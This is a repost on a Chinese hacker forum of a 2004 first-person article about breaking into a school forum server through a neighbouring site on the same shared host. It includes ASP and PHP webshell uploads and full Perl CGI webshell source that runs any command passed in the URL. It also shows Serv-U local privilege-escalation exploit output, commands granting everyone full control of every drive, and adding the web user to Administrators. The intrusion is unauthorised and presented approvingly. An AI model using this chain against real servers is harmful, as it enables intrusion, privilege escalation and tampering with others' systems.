找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2126|回复: 0
打印 上一主题 下一主题

剑走偏锋——灵巧的旁注攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:11:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
剑走偏锋——灵巧的旁注攻击 0 W  ~! M" B; U% K
本文作者:angel
$ }4 z; y! u" i) M5 r7 ]6 T文章性质:原创! i& i, d) y5 i- X- J% ]  H3 B
发布日期:2004-11-09
. h6 a! ~  f) z注意:
/ |7 D( |6 m5 p# l& |本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
( G6 e* ]+ x/ j8 z本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。8 _& S. L- x2 U
% u& i: B  A& a% u% s) G
  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 & K: {; Z7 i" z0 M1 i

0 }  h  S2 H2 R7 a8 I  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 2 b" V5 X5 j/ S6 I7 t
$ w5 A6 ]4 N$ w3 Y
  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 * k# _/ g: E, s' w, L

3 c4 s3 x, R) Q3 u  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
5 ]+ |7 P+ |7 K! A
  d- t3 J. [" S( `( Y9 P  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
& V2 F: X7 C+ G% ^
' ^5 j2 b/ |- k  没有目的的跳转目录着…… / ~1 l: W: i0 Y+ Y- A; ~+ J
8 r: |* ?7 z: e
  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… ( Q: n9 `8 U3 b3 L

) z5 o9 [9 Z4 p: |1 X* r  结束了吗?不,我试着 FTP 一下: 4 A5 \* @6 Y7 y; H9 i1 U
& ^& m; V+ i% }; k# C" x# R$ d
Microsoft Windows 2000 [Version 5.00.2195]. r: v2 |& O4 w, Z+ z$ U
(C) 版权所有 1985-2000 Microsoft Corp.
6 J! T2 w$ ?1 _' L( Z$ J7 z6 u% c# N
" R! \; B3 g2 V" |C:\Documents and Settings\Administrator>ftp www.school.com
, Q5 e: Q7 U- d2 zConnected to www. school.com.
/ |) F$ ?; ?+ S9 M) \' Z0 ~220 Welcome to FTP Server... % o# L" {3 Z4 K
User (www.bjtrq.com:(none)):
: b, i# p* v2 f331 User name okay, need password.
( a! P0 `- \2 _9 Y6 M: Y) D  YPassword: : Y3 w3 N: y  i
530 Not logged in. 7 Q) L7 O  @) {1 x
Login failed.
& a" C/ p/ v0 A% m, e* @ftp> bye
8 _, a. T; k! x1 N$ }0 \221 Goodbye! ; [6 H( P8 c2 y5 h3 c$ B
. Y! P( ?5 _9 e5 y. n0 k# g
) h4 S# C" B: ]* M2 t" I
  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… ; J' |/ f- N+ q0 O+ z( v
1 s) s9 H+ o* k, r. \; k1 _
  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
& V: }$ z, n/ r8 e7 P7 |( V; }6 ?* X- |% s# U, Y- L. Y! b; L
Application Data5 t) H+ i6 {0 r+ u8 K7 K
Documents: L$ h) a5 Q% B* Z% _
DRM
" K$ K, B/ ~9 V$ z- B1 LFavorites
; n: o1 X" f2 Q) I' \2 V; s5 QTemplates- O: K7 q- ~3 {. K2 g/ a: f9 N
「开始」菜单
: C. E. q# T  i8 j* r桌面% l7 P8 Y  ]  `! K( I* E
' b1 |$ e8 T8 r9 q5 q! Z
( p1 s  f1 I! g9 B& Q
  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
: ?- m) i( T* K. t, l8 z$ j9 |5 S
ActiveState ActivePerl 5.8# g5 }2 _5 P/ ~
Administrative Tools
6 `9 M- G9 {5 i2 W/ xDeerfield.com0 s/ a- X8 n0 ]9 B2 _
DTemp* ^3 e" f# [) x5 o1 }
IPSentry9 v+ `  o: k7 u9 K
MBM 50 o( s, X0 o/ h3 c8 U9 ^9 W3 w; g
NetMeter
( s7 ]/ q0 ?! `Network ICE
- \. }/ f) F5 [( R; z- u& Q0 Y% BPersits Software AspEmail
3 ?6 u( q5 I4 W! k8 JPersits Software AspJpeg$ s6 W4 H5 R% Q( |2 p
Serv-U FTP Server7 g) L1 o) ]4 y7 z5 r1 g
Symantec Client Security( d: `' g, r# T  @' z
Windows 优化大师! Y& o  J" A  j6 V) {7 z
WinRAR' p) h% P. I. R# g$ s$ G
启动
) \5 r. Y2 O8 Y/ s管理工具5 ^' @2 V. U" L; Q* @3 v
附件
: q/ @5 N) h' ]" v. M, j 8 p6 M1 [' R  q# r

: x" Y! H9 o; z8 c% j0 N+ A  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
. N/ A* Z1 L: |  Q  i2 |
* b4 d* l* O3 ?5 G0 h! Q9 A, X+ s  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
5 `' v$ @; t9 R- g9 a! L: n$ e1 k& ~1 J3 T: u9 s
User281=angel|1|0
4 X2 i0 K& Y# h
* s+ b7 V5 L7 {. e9 V4 W/ [9 B- F& K9 @" j; G  ^( Y9 z
  然后加上 7 v- @, h! Y  O& Y9 l0 D' Q

/ p5 m, I2 m5 T+ c) d[USER=angel|1]
7 `6 R1 q: L8 H& ~8 c- ]Password=ng98F85379EA68DBF97BAADCA99B69B805& @" \: f% |7 Q, T) ?9 Q
HomeDir=D:\websites, V6 r' F( F& w
RelPaths=1
6 `8 X3 S+ {) N* L5 Q# uTimeOut=6006 G& ]7 i0 A7 X* b; O" x
Maintenance=System5 y7 u' `/ V  p8 D8 W
Access1=D:\websites|RWAMELCDP; l6 S2 e4 }/ r, }3 j+ x$ R4 n
SKEYValues=/ Y7 D/ ]! E5 r7 b8 _

- J' A# c: N  P9 r
) r1 W7 N/ O2 Z: x; g+ J  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
% e% s+ b9 H2 `/ ?$ p  _7 y
  Q2 R- C0 J, ?: M# u  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 1 p9 I1 b  B# y, U5 s
1 c. n8 D5 ^6 Y4 ^2 ?
  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
/ _; E+ Z4 U8 W6 c" M: M5 f( D$ _& F6 T2 f9 E
  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: ( ], u/ G& D# t& j5 b$ W! P
3 ]. c' D0 D. A- v( D* N9 Q
#!/usr/bin/perl
, o, K7 S6 k( m" O( fbinmode(STDOUT);0 ]9 V8 }* y/ U* n1 Q, t
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);% n( V6 e" e! e# f, i6 y/ R
$_ = $ENV{QUERY_STRING};* G" i( r" `2 {. `' m. x3 p$ q
s/%20/ /ig;
/ ^  c  o0 `  }: bs/%2f/\//ig;: T6 F: c" `1 R7 B! A/ y+ W
$execthis = $_;5 D' n" |8 x' u( |8 Z' P8 q% j7 k
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);5 P# k% B0 A# ?$ w2 M5 v- i& y
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";: w8 P+ W7 a* L+ ?6 V
system($execthis);
1 u7 G' k: g1 M* P- n7 psyswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
" k  H% L+ ~6 [- n% z: V; e' R/ ^close(STDERR);
6 R' P1 x; G, |. Bclose(STDOUT);
2 w; U& A" p& a( R# j9 n2 _* e7 Yexit;
6 I7 ?) C1 G$ {
" h, I6 W) A7 x; `" h* u. A$ F4 c7 E0 i" R4 e; w/ f
  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
4 Q4 i2 Z; ]) l4 h4 K; J# b/ ]& T3 s; e% T5 `" Q# P
  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: ' ?. [% v' P1 |+ l  _& n

4 \0 `/ e2 O  ?9 z/ lhttp://anyhost//cmd.pl?d:\user\bin\su.exe
3 i8 W/ V, n/ @" k4 v! W$ x 6 ^# w& i* ]* Z. n' p: s

% @) W% Z2 ~; J4 U  返回: ' Y% o; m; w. e  k  o# J4 i8 N
! o( m- S2 ?$ N/ h' R* o) l
Serv-u >3.x Local Exploit by xiaolu
: x+ s+ P  Q) H. T! G; E4 U, {( d+ e% l/ l$ s1 A# d
USAGE: serv-u.exe "command" 7 u% u( L6 s. T3 `, j

& F- v4 M' L& ?( k/ UExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" . q$ G0 q: T* U! L

) w  a& g. g' H# k" @
# I- [' y% t& l( P. l+ |) `  P4 g& b  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
2 b0 l/ N/ @% y, H9 S% z% c# S9 }" D/ d# N2 P* _
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" 3 u* `9 W2 V, P5 ^& R+ S
( B6 a6 v4 I7 J" F$ m4 h
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" ' Y  a% f* c$ j. O# B/ [
1 i1 L! B1 G  C8 w0 y
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
/ z" E  B: N5 F2 r- [5 x) f" K
4 Y2 G8 V3 N8 ?% v  ~( X" Yhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
' _9 u+ v# V3 M3 }7 l
6 E+ K+ e" q; i9 D0 U! v. \7 D8 W- g8 \- i6 d4 X6 k
  返回下面的信息,就表示成功了!!!
0 z6 E  \' {9 P6 f1 }' T
# ^- a; c# x2 g  L# QServ-u >3.x Local Exploit by xiaolu
2 K3 m; `/ t4 }: K
5 O, i* {* A7 W, w* _5 J<220 Serv-U FTP Server v5.2 for WinSock ready...
) z9 M2 ~1 O+ N  X* e2 W" I3 a; _
/ m' T; J6 }7 S>USER LocalAdministrator
5 Q! L5 J& M# A- N% v2 C  _( X/ B; A& h5 s6 N8 k* t
<331 User name okay, need password. ! V' A8 X# U( c3 l! j

  {2 [9 r( b& U' t2 y3 c******************************************************   F7 i/ _9 x6 m: @
) @" m  {& g: H/ i/ f$ m/ j! @
>PASS #l@$ak#.lk;0@P ! X9 b5 Y6 y) k' G# P& a
" w5 i( B, U# G1 E0 b4 C* T
<230 User logged in, proceed. 2 l! z& m3 X* v/ C1 [1 K" m: Q

8 @! n0 ?. f' \! z****************************************************** . j9 O2 ?& v& u

+ B/ u4 |6 D+ \) E; i# V>SITE MAINTENANCE
; G( W# }  X" S& V9 }% O9 H$ }
: e! a. x& A  T( [5 K2 e( V  l******************************************************   J- }, [0 |& Y3 l# V2 j: Y1 t
; }4 \7 ?  A9 a/ f3 R# E
[+] Creating New Domain... + A( R: b% o2 D1 C) W, D/ T
& d7 P* B) e* W6 z2 j/ v
<200-DomainID=2 . H+ N% I0 D' T+ ^# J2 T5 `

6 S5 q- @) h' j: c4 G1 N. c" `+ b$ V<220 Domain settings saved
! X6 J0 `" Y2 `
' q) S: w  \5 x' V  @- E* T2 K****************************************************** . L2 S+ E: C' h! Z& M6 I) ]: Y
4 z+ E- o5 R4 ^" g# n3 h1 q
[+] Domain xl:2 Created
  x9 R! I4 {. G$ }7 O: q9 w0 `0 F5 f) U6 h
[+] Creating Evil User
( U5 |: Y& W: D( j- _9 z. m
: b0 D# }- V  ?, P' m( |$ I<200-User=xl
  h1 l1 W4 p/ Q# u
+ t) V' X' D0 `6 D3 Y! X200 User settings saved   Z% f) ^6 ]( M' c  w& ?

0 ^: l* ?" O/ E: S******************************************************
; \" Y6 L5 O% L+ ]" K4 \
- A# o3 v( p. q7 C& I[+] Now Exploiting...
. o. F. f+ t* O# h* d' O9 Y1 M  X& Y# I& x  o. V
>USER xl & ^3 ]: }% [9 X) |' K: V2 w0 z

! A# F5 S" [9 I. M, Y1 ~% q, ]<331 User name okay, need password. : m  I& Z4 q, m  B5 O2 ]) T/ r
0 H2 B: u) B! b
****************************************************** / F/ w+ p- S- s5 R3 D' d3 Z% q1 ?

+ B/ I8 V  J% ?1 E+ y3 N>PASS 111111 # d/ ]8 Y- u% s4 L$ I6 I, m

3 S  C3 `5 T1 z6 z* O<230 User logged in, proceed.
- P9 C: B9 P7 ]6 e6 k* t& M5 s! u0 ^2 \" j2 z
****************************************************** 9 Y  T9 G3 Z5 y6 G

2 q: R0 \. O# E( Z1 y[+] Now Executing: cacls.exe c: /E /T /G everyone:F 2 Z- J5 g% W- n  ^2 S8 P
$ h$ ?8 N' t( U
<220 Domain deleted
' O5 ]# z% j0 U" q: O# O4 W0 W% W* J' M7 p  ]# a+ v
******************************************************
( q9 ^% S" q* Y- Q' [- C5 S4 @
; D8 w5 U0 P8 Y$ ^$ t
5 k( I9 E2 L* K. C& e+ Y  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员: 1 @/ W0 Q. F* ~! G4 Q# e1 S% N

# v' K% ]5 h" G2 `http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" 7 F6 j4 y& s  {( E

3 L$ Q$ \6 k( @1 l( f/ h" Z7 D$ S* f
  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 8 u( w! m- y3 j

) `" ]3 f" ]& F" O3 h" N  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。$ C! m0 Q3 {/ {/ B. U; T

; v* s0 J& H) t  F# ^9 j3 L; h. j  ; X+ f% M% N) F( A
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表